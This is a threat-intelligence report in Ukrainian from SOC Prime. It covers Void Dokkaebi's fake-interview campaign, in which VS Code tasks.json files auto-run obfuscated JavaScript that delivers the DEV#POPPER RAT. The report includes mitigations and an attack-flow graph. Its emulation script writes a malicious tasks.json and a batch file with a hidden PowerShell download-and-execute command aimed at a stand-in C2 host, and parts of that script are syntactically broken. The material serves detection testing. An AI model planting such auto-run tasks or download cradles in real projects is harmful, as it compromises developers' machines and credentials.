Використання підроблених інтерв’ю Void Dokkaebi для поширення шкідливого ПЗ через Git-репозиторії

Ruslan Mikhalov Керівник досліджень загроз у SOC Prime

Стежити

Використання підроблених інтерв’ю Void Dokkaebi для поширення шкідливого ПЗ через Git-репозиторії

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

Void Dokkaebi, група загроз, пов’язана з Північною Кореєю, використовує фальшиві пропозиції про співбесіду, щоб залучити розробників клонувати шкідливі репозиторії. Після відкриття ці репозиторії зловживають впровадженими завданнями VS Code і заплутаним JavaScript, щоб перетворити довірені проєкти коду на автоматизовані канали доставки шкідливого ПЗ. Інфіковані репозиторії можуть потім сприяти ширшому поширенню компрометації в середовищі розробників та з’єднаних екосистемах.

Розслідування

Trend Micro виявила понад 750 інфікованих публічних репозиторіїв, понад 500 шкідливих конфігурацій завдань VS Code та 101 випадок із спеціальним скриптом пакетів, розробленим для маніпуляції з комітами. Аналіз показав, що шкідливий код отримував корисні навантаження через сервіси, засновані на блокчейні, і врешті доставляв варіант DEV#POPPER RAT. Це шкідливе ПЗ потім спілкувалося з інфраструктурою атакуючого через канали на основі WebSocket та HTTP.

Пом’якшення

Рекомендовані методи захисту включають ізоляцію коду, отриманого через процеси співбесіди, додавання .vscode/ to .gitignore, застосування підписаних комітів і захисту гілок, а також аудит репозиторіїв на наявність відомих маркерів інфекції. Команди безпеки також повинні моніторити трафік API блокчейну на предмет підозрілої поведінки та блокувати доступ до виявлених URL керування та контролю. Розробники повинні розглядати запити на довіру робочого простору VS Code як значну контрольну точку безпеки, а не як рутинну дію натискання.

Відповідь

Якщо підозрюється інфекція, необхідно негайно ізолювати уражену станцію, скасувати будь-які надані посвідчення, видалити шкідливі .vscode файли завдань та впроваджений JavaScript і виконати повний огляд ураженого репозиторію. Мережеві захисти також повинні бути оновлені, щоб виявляти відомі шаблони керування та контролю і блокувати вихідну комунікацію на визначені кінцеві точки блокчейну.

"graph TB %% Визначення класів classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Визначення вузлів stage_initial["Етап – Початковий доступ Атакуючий залучає розробника фальшивою співбесідою та шкідливим Git репозиторієм"] class stage_initial stage tech_user_exec["Техніка – T1204 Виконання користувача Жертва виконує шкідливий вміст, такий як посилання або скопійований код"] class tech_user_exec technique tech_malicious_link["Техніка – T1204.001 Шкідливе посилання Посилання направляє жертву до шкідливого репозиторію"] class tech_malicious_link technique tech_malicious_copy["Техніка – T1204.004 Шкідливе Копіювання та Вставка Розробник копіює код зі шкідливого репозиторію"] class tech_malicious_copy technique stage_repo_harvest["Етап – Збір репозиторіїв Клонований репозиторій дає доступ до початкового коду і можливих даних посвідчення"] class stage_repo_harvest stage tech_code_repo["Техніка – T1213.003 Дані з інформаційних репозиторіїв: Репозиторії коду Супротивник витягує дані з репозиторіїв коду"] class tech_code_repo technique stage_execution_vs["Етап – Виконання через VS Code .vscode/tasks.json запускає завантажувач автоматично при відкритті папки"] class stage_execution_vs stage tech_trusted_ide["Техніка – T1127 Використання дозволених утиліт розробника Проксі виконання Зловживання довіреними розширеннями IDE для виконання коду"] class tech_trusted_ide technique tech_ide_ext["Техніка – T1176.002 Програмні розширення: Розширення IDE Шкідливе tasks.json запускає виконання"] class tech_ide_ext technique file_tasks_json["Файл – .vscode/tasks.json Налаштовано runOn folderOpen для запуску завантажувача"] class file_tasks_json file stage_payload_retrieval["Етап – Отримання корисного навантаження Завантажувач отримує корисні навантаження з кінцевих точок RPC блокчейну"] class stage_payload_retrieval stage tech_resource_hijack["Техніка – T1496 Затримка ресурсів Використовує інфраструктуру блокчейну для доставки корисного навантаження"] class tech_resource_hijack technique tech_obfuscation["Техніка – T1027.007 Зашифровані файли або інформація: Динамічне рішення для API Код ховає кінцеві точки API і вирішує їх під час виконання"] class tech_obfuscation technique indicator_blockchain["Індикатор – Вихідні з’єднання RPC блокчейну Виклики до api.trongrid.io aptoslabs.com та BSC RPC"] class indicator_blockchain indicator stage_module_hijack["Етап – Викрадення модуля Прихована директорія .node_modules установлена для попереднього завантаження шкідливих модулів Node"] class stage_module_hijack stage tech_shared_modules["Техніка – T1129 Спільні модулі Шкідливий модуль завантажується перед легітимними"] class tech_shared_modules technique file_node_modules["Файл – директорія .node_modules Містить викрадений модуль"] class file_node_modules file stage_rat_deployment["Етап – Впровадження RAT Варіант DEV#POPPER RAT створює WebSocket C2 та ексфільтрує дані"] class stage_rat_deployment stage malware_devpopper["Шкідливе ПЗ – DEV#POPPER RAT WebSocket C2, ексфільтрація файлів, уникнення CI/CD котлів"] class malware_devpopper malware indicator_c2["Індикатор – WebSocket C2 URL"] class indicator_c2 indicator stage_persistence["Етап – Тривкість і підробка комітів Впроваджений шкідливий JavaScript у конфігураційні файли та пакетний скрипт змінює комітити"] class stage_persistence stage tech_timestomp["Техніка – T1070.006 Індикатор Видалення: Timestomp Змінює системний годинник для зміни дати комітів"] class tech_timestomp technique file_postcss["Файл – postcss.config.mjs Впроваджений заплутаний JavaScript"] class file_postcss file file_batch["Файл – temp_auto_push.bat Автоматизація зміни комітів і примусового натискання"] class file_batch file stage_propagation["Етап – Поширення Шкідлива папка .vscode та код, комітований, розробники нижчого рівня успадковують інфекцію"] class stage_propagation stage tech_propagation["Техніка – T1127 Використання дозволених утиліт розробника Проксі виконання Зловживання IDE у клонованих репозиторіях повторюється"] class tech_propagation technique tech_repo_spread["Техніка – T1213.003 Дані з інформаційних репозиторіїв Шкідливий код поширюється через спільний доступ до репозиторіїв"] class tech_repo_spread technique indicator_detection["Індикатор – Виявлення IoCs RPC блокчейну, WebSocket C2, /verify-human/ та /u/f HTTP шляхи"] class indicator_detection indicator %% З’єднання stage_initial –>|використовує| tech_user_exec tech_user_exec –>|включає| tech_malicious_link tech_user_exec –>|включає| tech_malicious_copy tech_malicious_link –>|доставляє| stage_repo_harvest tech_malicious_copy –>|доставляє| stage_repo_harvest stage_repo_harvest –>|експлуатує| tech_code_repo stage_repo_harvest –>|призводить до| stage_execution_vs stage_execution_vs –>|використовує| tech_trusted_ide stage_execution_vs –>|використовує| tech_ide_ext stage_execution_vs –>|виконує| file_tasks_json stage_execution_vs –>|спрацьовує| stage_payload_retrieval stage_payload_retrieval –>|використовує| tech_resource_hijack stage_payload_retrieval –>|використовує| tech_obfuscation stage_payload_retrieval –>|створює| indicator_blockchain stage_payload_retrieval –>|призводить до| stage_module_hijack stage_module_hijack –>|використовує| tech_shared_modules stage_module_hijack –>|містить| file_node_modules stage_module_hijack –>|призводить до| stage_rat_deployment stage_rat_deployment –>|впроваджує| malware_devpopper malware_devpopper –>|спілкується з| indicator_c2 stage_rat_deployment –>|підготує| stage_persistence stage_persistence –>|використовує| tech_timestomp stage_persistence –>|змінює| file_postcss stage_persistence –>|запускає| file_batch stage_persistence –>|дозволяє| stage_propagation stage_propagation –>|використовує| tech_propagation stage_propagation –>|використовує| tech_repo_spread stage_propagation –>|виробляє| indicator_detection "

Потік атаки

Опис атаки та команди:
Атакуючий, який переконав розробника клонувати шкідливий репозиторій, викладає прихований VS Code VS Code .vscode у папку проекту. Завдання посилається на temp_auto_push.bat скрипт, розташований в тимчасовій директорії системи. Пакетний файл генерується на ходу з неявного JavaScript фрагмента, який вбудовує маркери global['!'] and global['_V']. Коли розробник відкриває папку в VS Code, завдання автоматично запускається, виконуючи пакетний файл, який зрештою звертається до сервера C2. Цей ланцюг виконує T1053.007 (завдання VS Code), T1127.003 (персистентний ярлик через пакетний скрипт), і T1027.007 (обфускація).

Кроки такі:
1. Розмістити шкідливий VS Code з необхідними рядками.
2. Створити неявний JavaScript , який при виконанні записує temp_auto_push.bat , що містить шкідливу команду.
3. Активувати виконання завдання VS Code (імітується викликом завдання через code --folder-uri CLI).

Скрипт регресійного тестування:

# -------------------------------------------------
# Імітація завдання VS Code і заплутаний JS від Void Dokkaebi
# -------------------------------------------------
$vscodeDir = "$env:USERPROFILE.vscode"
$taskFile  = Join-Path $vscodeDir "tasks.json"
$tempBat   = "$env:TEMPtemp_auto_push.bat"
$jsPayload = @"
(function(){
var g = global;
g['!'] = true;    // маркер для виявлення
g['_V'] = 'payload';
var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"';
var fso = new ActiveXObject('Scripting.FileSystemObject');
var file = fso.CreateTextFile('$tempBat', true);
file.WriteLine(cmd);
file.Close();
})();
"@

# 1. Забезпечьте існування директорії .vscode
New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null

# 2. Запишіть шкідливий tasks.json
@"
{
"version": "2.0.0",
"tasks": [
{
  "label": "AutoPush",
  "type": "shell",
  "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS"
}
]
}
"@ | Set-Content -Path $taskFile -Encoding UTF8

# 3. (Необов'язково) Запустіть завдання безпосередньо, щоб імітувати автоматичний запуск VS Code
# Примітка: у реальному середовищі VS Code розбирав би та виконував це завдання.
Write-Host "Шкідливе завдання VS Code розгорнуте. Запуск через імітовану версію..."
cscript //nologo //E:jscript //B - <<'JS'
$jsPayload
JS

Write-Host "Імітація завершена. Перевірте SIEM для отримання сигналізації."

КОманди для очищення:

# Видалити шкідливі артефакти
Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue
Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue
# За бажанням очистити директорію .vscode, якщо вона була створена винятково для тесту
if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) {
    Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue
}
Write-Host "Очищення завершено."

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно